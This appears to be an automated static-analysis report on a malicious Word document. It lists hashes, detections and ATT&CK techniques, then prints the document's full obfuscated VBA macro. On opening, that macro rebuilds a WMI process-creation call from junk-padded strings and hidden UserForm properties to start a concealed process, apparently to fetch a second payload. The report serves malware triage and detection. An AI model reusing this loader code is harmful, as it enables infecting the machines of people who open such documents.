Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00170eeb9eae2c9d…

MALICIOUS

Office (OLE)

246.0 KB Created: 2020-08-19 12:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 02a6dde7f3629c10098acc8a81fbef8a SHA-1: f4376161bcb4a26caeaccfe3aced64ac88ef2dfe SHA-256: 00170eeb9eae2c9d6ae1cd4449656bac2129901437297ea4bd475ed2fd3af31e
232 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro and a hidden-property command stager that uses CreateObject. This indicates the macro is designed to execute code automatically upon opening the document. The ClamAV detection 'Doc.Downloader.Generic-9395776-0' and the presence of a VBA macro named 'macros.bas' strongly suggest the file's purpose is to download and execute a secondary payload. The obfuscated nature of the VBA script and the lack of clear URLs make it difficult to determine the exact download destination, but the overall pattern is consistent with a downloader malware.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-9395776-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9395776-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    O9lokd9uj9bq7jwi2w = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Astvy4047j7 = CreateObject(Fzu7ik4kxno)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15342 bytes
SHA-256: 9593eb67380f2c19deb8a545c825465b12161564a29643ebccad52b069ec68c3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
303 of 452 identifiers look randomly generated (e.g. 'Q89nclqw5gyx7xa5Kyrtecxw3g3tzc9H7m7op4ei') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hsfggtlltgbdtcse0"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Qyiismxqrt_8hu7u.Ig_c9zmsgmz7b
End Sub


Attribute VB_Name = "Qyiismxqrt_8hu7u"
Attribute VB_Base = "0{421A0AB0-DB6C-4B73-89D9-C1D10B7CACAD}{CB61A236-DD34-46C2-BC8F-3B7A2BEF1884}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ig_c9zmsgmz7b()
   Xkm0dzym9j2psc7 = "837"
If Len("Hl2pawm2rpykc2Aykvzqvd34bp23m") = Len("Oabunyqvl0wrzankg1") + 1 Then End
If Len("Tishb1i_w0hw_fteBggni1k16ep2pGabvyb5_5fy5wdnwl") < Len("Xeiaunttirhw") Then
        MsgBox "Ghg0v0u7cqcmazodg" + "F4j6luirybe5m"
        MsgBox ("Fmpwpf3y3k5yfytye")
        MsgBox "Bd05vn7x1ekt2j" + "Hezk4zawvb0"
End If
If Len("Qov9_813j5oB14pyniuuv7t6om2b") = Len("K4wmjifglwbr6q") Then
       MsgBox "Xic7w9h4prcsbdvv" + "T2pwf1rukscxsc1q49"
       MsgBox ("H6quhah6g1dd !!!")
       MsgBox "Bc2dae3svllqfg8p" + "Bifpkelhiw97k"
End If

F1b6qp2c2bayo6_vqj = Qyiismxqrt_8hu7u.HelpContextId + 50 + 50
   Mb5s71xgmcob0 = "635"
If Len("Gj6nfam0vgnVw2hg6l6v320") = Len("Zanxyhuib0s3") + 1 Then End
If Len("Hf_sryex8bqWu2eqrs8gf_0X05a3yiqduf7d") < Len("B5uc_9r4y5evr") Then
        MsgBox "W9fgaguzlxf" + "F14_vingqcwcab"
        MsgBox ("Dla7ggiugo_782ns8")
        MsgBox "P13ayi8iku4lcf0mpo" + "T0h_fwwwnqpcu"
End If
If Len("Domcey3_07y36l58I_hf0p1xobxt37s") = Len("P92wjl1t3all") Then
       MsgBox "Tk3q7dcnug_wq1" + "Dqgaftjocllajyo"
       MsgBox ("Cpix26d83q6c23a5vd !!!")
       MsgBox "I6kg6s8zfud41f" + "Whhd6knkj1zg"
End If

Wmtvod4sgoqd = ChrW(F1b6qp2c2bayo6_vqj + (15))
   Cukfps788fds44i = "51"
If Len("O4ej__y5m554ui_vxJwbf9lh31laykg") = Len("Dqljzwd7q4wzcnz") + 1 Then End
If Len("N7mpw3p64chjVzuxio3zl06j2Imxfpbfs4920obr") < Len("Qo6txecb509rh8") Then
        MsgBox "E7gdtg94ihl7w8" + "A2i6mqoh0hjvl"
        MsgBox ("Czl7qudi90kzwx")
        MsgBox "Iiqfv9hjmub4y" + "Xjvxmesaagmg"
End If
If Len("Ukvy636x05q1s8q_mUpabzzcjs6lik5") = Len("Do_28ha5u9qf86") Then
       MsgBox "Bbz4u332v7vv" + "Am2txmnsqipg3"
       MsgBox ("Lejugpk3kurjxny !!!")
       MsgBox "Wlw24ig8sur1w4" + "P3glwlmpg_jbg"
End If

Ijztlwkgzqfn5h = "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfi111ss[sns ]]d][ jsa nbsb22v2yfnm111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfgm111ss[sns ]]d][ jsa nbsb22v2yft111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf" + Wmtvod4sgoqd + "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf:111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfin111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf3111ss[sns ]]d][ jsa nbsb22v2yf2111ss[sns ]]d][ jsa nbsb22v2yf_111ss[sns ]]d][ jsa nbsb22v2yf" + Qyiismxqrt_8hu7u.Vsr9ja_v24yn5 + "111ss[sns ]]d][ jsa nbsb22v2yfro111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfce111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yf"
   G9506ifjjb0s83q2wc = "914"
If Len("V2d0nfjdgnrxRjvuawu87sd") = Len("Sqna5yrr1mf") + 1 Then End
If Len("Zr4we084p55yW1_tj0i_9xz7Jz_fomepwu4") < Len("U8vlw7w1509r0rn8gb") Then
        MsgBox "C1bwh4kprt3kgguqb" + "Rm2dgjp3th9_hiu2"
        MsgBox ("G3lotmregbz3loam")
        MsgBox "N1cat3gpkdssm" + "Spsly2jgak0ah2_"
End If
If Len("U9y016zz1ae0G_w6s0m5cmva") = Len("S3btuqqcku6o5") Then
       MsgBox "T4wywk93lmg13xp1v" + "Yof8xhqytg0"
       MsgBox ("Tryewary_2o9qz !!!")
       MsgBox "Vz4yv_4qqz6gp" + "Y2358v1cxboj"
End If

Fzu7ik4kxno = Ww4o01pe1d0b9z8zl(Ijztlwkgzqfn5h)
   Erbhmd84g60ajbn = "966"
If Len("T30nus5d_ozctY5qyfwybdosqo3_a_o") = Len("I9cj9azx9i0") + 1 Then End
If Len("Vki8fuw83w1yv6Cce0pl0hb6uQq014f_zgg65qn") < Len("I1hozd8vu5jte6") Then
        MsgBox "Ebwc0q478tw" + "Y9hktb5xs6r6"
        MsgBox ("T7o8ux65d_4iop")
        MsgBox "N5k7d80ymt2" + "Hivmv2yivo_n82"
End If
If Len("W9pbex4dzuw3sFbn4fvwsxis1gpe58") = Len("Jvd19rw5re84__grom") Then
       MsgBox "P2f1mkgupqo06yx" + "Xyse8gmdsw6jtu"
       MsgBox ("B4ilih63p29hodfb !!!")
       MsgBox "Jvj47i1ppci1" + "Yb61mgwmogb8cn"
End If

Set Astvy4047j7 = CreateObject(Fzu7ik4kxno)
   Pkimf89ucam = "102"
If Len("Urnc27j3547vnlooVb1lz5h6u_4dt") = Len("U69m0h0y_53j5py") + 1 Then End
If Len("Vtuhi_wndxgih7rzkkSp_phogb8tpUhufjumk3ju") < Len("Ia2rdmd0ul9u") Then
        MsgBox "Cm5c915yxobx1hf0_" + "M73dgx19uqrqr"
        MsgBox ("Alfhti6u1uzx1")
        MsgBox "Je0au_qzc_ggn_foh" + "X3wpb9q3r9fh"
End If
If Len("O97vpsq8r4ligbW6ommt19i0dav") = Len("Ntu6vwjsp182jp0lg") Then
       MsgBox "Xd8xt4775_xwms7e0k" + "Jvpdnpzqwjk_93hdr"
       MsgBox ("X_2_z4j65oo6frzt4l !!!")
       MsgBox "Ath6njxta15fop" + "Ckbo7x5twlb2"
End If

Gg3bya7t24v = Qyiismxqrt_8hu7u.Tmjr_v76c8k9.ControlTipText
   Eq67tr3kmcvbh = "107"
If Len("Nu3e_ira_k63wrxZrkhmk6qm3_zvmu") = Len("Lj6axsd45gqvb26") + 1 Then End
If Len("Q1cd2_hjzm3hiLx2immww_sosog5kpXzb6jq6qcwmk17u") < Len("S554pt1b2vz") Then
        MsgBox "Pbpo9hku3vnln" + "Hakz3t9nqaqwfo_aez"
        MsgBox ("P6ag9ntvajeqtqti")
        MsgBox "Tb5glivp0lb8v2rz" + "Tbj5mlj99dlu9gx"
End If
If Len("Hjc7ukwq2_crLtx20yr_7o1uioej") = Len("Afo2lsp5arp5dnj4j") Then
       MsgBox "Pz5_sfgp6mll8sg" + "Y8c0ebi99hbf4bq3_7"
       MsgBox ("Pbbxiu7xcszu9xg !!!")
       MsgBox "J1lnuq7blebw57" + "Ib0v68k5oiogpix"
End If

B9aekbgv_y9f = Zy74hii019ov0d + (Fzu7ik4kxno + Wmtvod4sgoqd + Qyiismxqrt_8hu7u.Ncf11bqtloh0xacw9.ControlTipText + Gg3bya7t24v)
   Crkgaf3n56z = "303"
If Len("Reajyor1aawxEhbfvka0u8c2_3m") = Len("Dfva2iv619w_fcd7xv") + 1 Then End
If Len("Y1hiuzhei0sywe577P58xhqxza4sFdo8og99bmtem8hk_") < Len("Ihi6b39lt3w6zoxp2") Then
        MsgBox "G11x90_kl4kkin" + "Drkvmcx0dxglgxes"
        MsgBox ("E4bkfzkk73qfajtift")
        MsgBox "J6pmw2w_2x4xglnepm" + "Z3_lqlg5doxdbe"
End If
If Len("Dc2rptt1tyceWxee8ztgnt_bp") = Len("Nwet3t_flo088rcqyn") Then
       MsgBox "X_rjtgmva3u3" + "Ax_dpekwkzm2g_"
       MsgBox ("Bd97w6t9cmwnq00o2 !!!")
       MsgBox "N8kr0btcvwkesmh" + "N96yfvrz93536xm"
End If

Rzrn85fa57eulhniyo = B9aekbgv_y9f + Qyiismxqrt_8hu7u.Vsr9ja_v24yn5
   Myzy7c0zulmwyoquc = "373"
If Len("Okv26y5vtiygi2ahbZqh64k3l0_nxt_ti") = Len("Ag24b5lt2bodvwqm") + 1 Then End
If Len("Owuzrl_t16h81yxaZbl90w8mcjoJn8k5p9y0t73") < Len("I0dwbn2cswpb3") Then
        MsgBox "Zynpbvlmslw8i1m" + "Lftyxy51b7yf"
        MsgBox ("Trjb49awe5g0_r4_ee")
        MsgBox "Tnfkse_m6xo" + "Ygr25m6p4mtm"
End If
If Len("Jzxga182xptvgX5vg_2yj4t10xk1io") = Len("V_fqmg58spl29fxv0") Then
       MsgBox "Fguwxd8erccxboa" + "Uhxrrpmcii0bvulc"
       MsgBox ("Cahkhmbtiz267 !!!")
       MsgBox "X1joq0se45rnpf" + "N83al9o5pv6v9j1wi"
End If

Set An9ig9ecxsy21 = Tytnp0x9oj_9jrz(Rzrn85fa57eulhniyo)
   Qn5ototnk2jeeft5o3 = "472"
If Len("Ncc9csmrhcyHlgv7gfvgynwgi6c") = Len("C8u9ga7uq28g9") + 1 Then End
If Len("Ixc_49vxyih96M36ykgefe2dllaqpKinc_eibe1rj") < Len("Tjggdy8j82hft") Then
        MsgBox "Xsxugi_4zsxry" + "Pgqy84a5ef94t_s"
        MsgBox ("E8q4lurgkbm9vy")
        MsgBox "P_kx1ltj2ldnswo" + "Zkhl2b7kczkn6qci"
End If
If Len("Pl4im4gxx1rig_Xmnyom4veavabgo") = Len("G688lvrxsazdl") Then
       MsgBox "B711rtco5d42yh" + "Tfripiokcjl62foyz"
       MsgBox ("T0zklz7i6a4dv !!!")
       MsgBox "G626i78fywxrgzmjqq" + "M9jcr53nhon"
End If

L331l0ld9thuzn6g = Array(Rxj62c4v2bq5mas + "Xv9y3kpzu9k_zt W368l55z1_eu97jN1d439s2oivl434 Fqvcregxc8iyx2s5km", Astvy4047j7.Create(I00hfvi9l21, Hw259jdsdjt89himr, An9ig9ecxsy21), Ffptq2716ex13 + "Laslrxy5nwc Oakrpobtdhn3fa Fp_6nssq8z965xn34q E6pn1izi9jy")
   Zvoudfs_ly4 = "695"
If Len("Y_c1co2xm1aB3qbgmn_rayhpuo1") = Len("A0qt9c58ud9bg4") + 1 Then End
If Len("O1tlzr4_k5u8mHtabik2uee1xexiq9Fnxzbcb9j0f1o") < Len("Mbiv9a9suawp") Then
        MsgBox "Bmf367jz0iws9_l" + "Upo1ufdoys9"
        MsgBox ("T5wdwr_vdhl6fr")
        MsgBox "Uxcaaxq3whzb8j2" + "I070ext7qa1"
End If
If Len("Oduvdwk3vs82kca79qIne07ksogdg") = Len("A8shsyd9k_0s6ce") Then
       MsgBox "Bxy0_9owqfzlwhdz" + "Y7546si5t3mowe"
       MsgBox ("E6muqivdt73n04md7 !!!")
       MsgBox "C8hk6ieqerfbi" + "A7f27uign4l8dejag"
End If

End Function
Function Tytnp0x9oj_9jrz(Q31ql5wcsfmpg4j)
   Psebuyi8b_p4a = "776"
If Len("M8uvt6o6qh47jug10B2z0rd3fan13") = Len("Lbrn9zvkk03b8iyo") + 1 Then End
If Len("Tmai2ketpq4n6beyJ64hjao93399v6eJxn3qz2m6si38q9x") < Len("K74wrrlxl_thw6") Then
        MsgBox "Sxsp38cyerm23xa" + "Vktg_lf7fbef1"
        MsgBox ("Diyxcj0t6rmh")
        MsgBox "De2uakx18cyxosxj" + "T807medfu3olpc64"
End If
If Len("A2ose6cthg_az3lD1pi43ayoqtjp") = Len("A554r87ixc7ne9") Then
       MsgBox "D7_cbkmpu4i" + "Teym5e2ggg8lpo9c"
       MsgBox ("Iqydujvuhnhyo !!!")
       MsgBox "Ziged01cjo290" + "Rxynjcinvxg6d4w2ts"
End If

Set Tytnp0x9oj_9jrz = CreateObject(Q31ql5wcsfmpg4j)
   L6kpzlviz4y = "580"
If Len("Cshujfmlj8dqmjRpaosgfzi4g1d0") = Len("Tfs9hbn8y8zo6t25dp") + 1 Then End
If Len("X4ypgi04_3dqjmlg09Boksnr43kgr_ckBec2mzjinfvr") < Len("Bun47zmsxkl0oq") Then
        MsgBox "Qt4afblheiwz5f8n" + "Zm214yeo9zp5340jv"
        MsgBox ("Wnvlo2njvj_tm19")
        MsgBox "Yc1956zxhn7nmqy" + "Gucaiz9_nud6oo"
End If
If Len("S8j57ux3_y0dbZ8fwul3y8kje1vj25") = Len("V_hqdw38w4cm") Then
       MsgBox "P7eoy0j5dvba_" + "T5csj61kcyt4t5y"
       MsgBox ("Zvuazjvgw4up1ofq !!!")
       MsgBox "Aactk5svk5r" + "Wppgowqq_7ti78qkk"
End If

Tytnp0x9oj_9jrz. _
showwindow = Drzqpn218bun3ruh + Spuld5c4bkxyjugi03
   Dck66dunl2s = "190"
If Len("K6fyjhvvqtxc6Qvxo2ejjciq") = Len("Cywuk62xjto56") + 1 Then End
If Len("Yvxxph_6r_19anbf49Yd8_8i3li2dgO5fzxp4iljhw5n6nw") < Len("Srv85cv1oy7") Then
        MsgBox "Cn48oghntneax61nd" + "X0wwn1ixadd8bfmtf"
        MsgBox ("V8_yfjwmmvj0mhxt2")
        MsgBox "Esadz2gejwm_yez7vg" + "G4naanxnb38jsppny5"
End If
If Len("Gisb__an9fkrxrxsUs_2bnfmnm6") = Len("G2bc69y33naa_1h") Then
       MsgBox "Hj469kuf6_h6mzxyg" + "Spip3t_1nps03mfob"
       MsgBox ("O_x9h7h724p !!!")
       MsgBox "Tm6ga4t7rj7" + "Yey7h6z0xteh"
End If

End Function
Function Ww4o01pe1d0b9z8zl(Akpc_185oa096ya)
   T2gf7i9c67q = "91"
If Len("Mxd4zrb5nunwyvbm3nIpthrpb5ntxb3bxk_p") = Len("K_6_2iovrlgvkr8") + 1 Then End
If Len("M0pwnyyzk1sOblb8i00rp4_d6uE0nv69flv5g3mgz") < Len("S3_q_eycs0w") Then
        MsgBox "Dpstdesmn82" + "W_rdbhwl24jl6dtb"
        MsgBox ("Hc8ldgglyyhyn")
        MsgBox "Vbnvayualmllmfgz" + "Pqbd66l34k3oupxngr"
End If
If Len("Mtso2k2ua36beRwhmu0hb4in3w39y0f") = Len("Xhrdck4dkla0jxp7") Then
       MsgBox "Lbxsdq2ka0y_xm5zm" + "Uhsfb26914jd"
       MsgBox ("E7ei8tg5215b !!!")
       MsgBox "Ddx_gj9pyzlk_" + "Qf10a95retd8fgpary"
End If

Ph7fo2mxkl3oycc = Akpc_185oa096ya
   F82f6m7p28_f2xmx4b = "500"
If Len("Unp2cp1kweixr3Boe1eaemnb9u") = Len("Jf_00lcw5gz2ec") + 1 Then End
If Len("Hsksnsw0sc8oyB1f6l9rejygQiiq_a06a63qh92h") < Len("Xb9pu3qt75e4gi") Then
        MsgBox "Iy7n2bd8p4ah01y" + "Ekynwikcr39dg5"
        MsgBox ("Wxfdtboqp5f")
        MsgBox "Puvs5iq0ts6_do4" + "Ze_2w2fu4wfm45iur2"
End If
If Len("N7jd627tn3gaejrrVp87oa1iddf1k") = Len("Nn1ja1bf_1h44") Then
       MsgBox "Pacmm91c54f7u73" + "S5dqyxp_q3jzpgyv"
       MsgBox ("Cxda5omvqt9e !!!")
       MsgBox "Efonao1m00vd" + "Oybxyeuyriyw7p26id"
End If

O9lokd9uj9bq7jwi2w = Split _
(Ph7fo2mxkl3oycc, "111ss" + "[sns ]]d][ j" + "sa nbsb22v2yf")
   Xhvlbl8op5p2o7d4h = "30"
If Len("Y61nnudhn7fjxnUbnfkqu4o8229t2atj") = Len("Urdu6bi59aifhb7w6") + 1 Then End
If Len("Q89nclqw5gyx7xa5Kyrtecxw3g3tzc9H7m7op4eihbflfweoq") < Len("Ynhs6l2kfycfe2") Then
        MsgBox "P2z9h_7nl8aslxvx" + "Fw_tdnrvxeyq"
        MsgBox ("B9ovu6qqjrca")
        MsgBox "P54qyub99t2hsnhnu7" + "Xf6dd1c1h1_f"
End If
If Len("Nh3y3hrdpifpxocsidP7d122z1v65i0o5z") = Len("Puvnoes91yrma") Then
       MsgBox "Zwkubprb8dr7" + "P_hb4z38ysmh"
       MsgBox ("P3adinvx6wy63j5ty !!!")
       MsgBox "Ws790twyyille9" + "H51b57elv1oth"
End If

R98tqo1xy55 = Dh9pc2fekbvizs + Join(O9lokd9uj9bq7jwi2w, F5epbyxyncebx)
   Su_67go1swrkrb9sc = "580"
If Len("Hoj7cki0slnjbbG1ciqbez3f4zvdkn") = Len("X58ss5r1w9ycmjvqxi") + 1 Then End
If Len("Wjxof1s2kvx6hLnhef17wt5dqwp8ij0Ysyjp24_dhf_cre87") < Len("Issqj24k1dd6b") Then
        MsgBox "Rajr4d4om14pn" + "A0sta60rmsi8qfa18"
        MsgBox ("D6kcixd3v9f3y")
        MsgBox "J0j3vv5hmiy2j7xyn" + "Vtktu027pikblu6o"
End If
If Len("M7jelp0scosohe9N0eu6ola1gw8l9e") = Len("Wnf3essdmbsvjrhdnr") Then
       MsgBox "P15zdviof5bgfkwt6" + "Dqaqai5813i_su6ftg"
       MsgBox ("Rch7enkk6ml !!!")
       MsgBox "Ymeha2fzw6g6qfgm" + "Ia3psh99u8d200"
End If

Ww4o01pe1d0b9z8zl = R98tqo1xy55
   Kj785sgcntlt = "224"
If Len("Xk9ddy0xc1fko2f1mEersmuqcb3decdpks3") = Len("A6i6tmt1wq2bmbx") + 1 Then End
If Len("Klo9oxbwht0B6djodlc0k9g555xT3dq_a0d5io5w") < Len("Ao7y2mrxj1ugenie") Then
        MsgBox "Vplq36hc6ffv78i" + "Q930fck5dsn74"
        MsgBox ("P71xvpkhjtyv8glcn5")
        MsgBox "Vrqqfq2esmjsl" + "Yuj6im5bqyjku"
End If
If Len("Csaeuu0qfqugH46_bnl0xciers3b3") = Len("W8ua_me92lso") Then
       MsgBox "Ibssjvzh9iirq4_cb" + "Knjykkl4t7dw"
       MsgBox ("Ljj8c__tqd_0ymutte !!!")
       MsgBox "Sedbux3ihqb4eli3hh" + "Xdcy0jk1x93k_2i87m"
End If

End Function
Function I00hfvi9l21()
   Khrqlhrm8mi_i = "521"
If Len("Cn5_wqn7v46X8aizsrf_jtclp69z") = Len("Sq5fjcen008s") + 1 Then End
If Len("Rwqkulzy2tdc752Evqhncpb3x0dmusiQ6r6flwav_81co") < Len("Jz3nqljwgos9") Then
        MsgBox "Plga7wi0k5bk5" + "Ucsmzi11y4e4"
        MsgBox ("Jjkrxnjpj586")
        MsgBox "Ekd61dxdrtzc5z" + "Wyn8dq61_np8v4ui"
End If
If Len("Micqw4dbfc82wo5Ptvr_3aludslgck9") = Len("Cvvxij7k79n0_") Then
       MsgBox "Yvi_j03w1h37sl" + "Wd4_qs5ibok1ge5ym"
       MsgBox ("St19cb0ts6o7m2v !!!")
       MsgBox "A5v0u7enhw_jwr8" + "Kk43b9a2b9a_6gb"
End If

L3gdnzhe0d6lr4tj = Qyiismxqrt_8hu7u.Xkmgllf4wnh67.Tag
   Zvmhchjqp0j618vu = "474"
If Len("Qbop5_q46jevw6dtkwU2lzhv5ae5sxe3bn_w") = Len("Dw8oh9f75efmp") + 1 Then End
If Len("R3hmnh6a0l0mwUvre8_ql7md2b1a70sIqa5bxorexv") < Len("Wlfciybpq6o76j") Then
        MsgBox "Eeadnqjku43qrss" + "Rl8hp7x3h9dyr"
        MsgBox ("D03bjmethax")
        MsgBox "Pjriu89t1v0" + "Eksj8qmv4rz"
End If
If Len("Rqjghfd7vokok_oh2Ju_17_67x3zbievzud") = Len("Tlurdr3_d08ce66e") Then
       MsgBox "V9vkmmslgtff" + "Qpkv_x4c7jd_2811v"
       MsgBox ("J_q7xsmp0cf9 !!!")
       MsgBox "Q5lms3u7hmc9yslvp4" + "Pm3gn233iuy290l"
End If

I00hfvi9l21 = Ww4o01pe1d0b9z8zl(L3gdnzhe0d6lr4tj)
   N_s0zaxaj_w_71 = "606"
If Len("R82vie038ifvof3lKyx6dz8a0t15i3la") = Len("Ur8fonthv2upi7") + 1 Then End
If Len("R0wid5vi5vkwj0L6v0nlos_ldys0mvQifjfc8xhjcue2kj") < Len("H16ktgjrw9agcksat0") Then
        MsgBox "Vqk3ymfcm97" + "Upwyx1qec73uf8q"
        MsgBox ("Zvuv3kpr_0g9")
        MsgBox "D9u2nh3rw6kd6" + "Yy2w27ac2ok3s_fzyu"
End If
If Len("T99i441zyn1js9mUinqcmbhgqwz3l") = Len("E2vda_q94bhn1ae45f") Then
       MsgBox "Jqldqp82cnha8m" + "Ns96msmkuo7_mg"
       MsgBox ("Q3tl0r7xeye !!!")
       MsgBox "Kvwakajsw7_5_" + "E31vquua1qs"
End If

End Function

Open this report in the interactive analyzer, or submit your own file for analysis.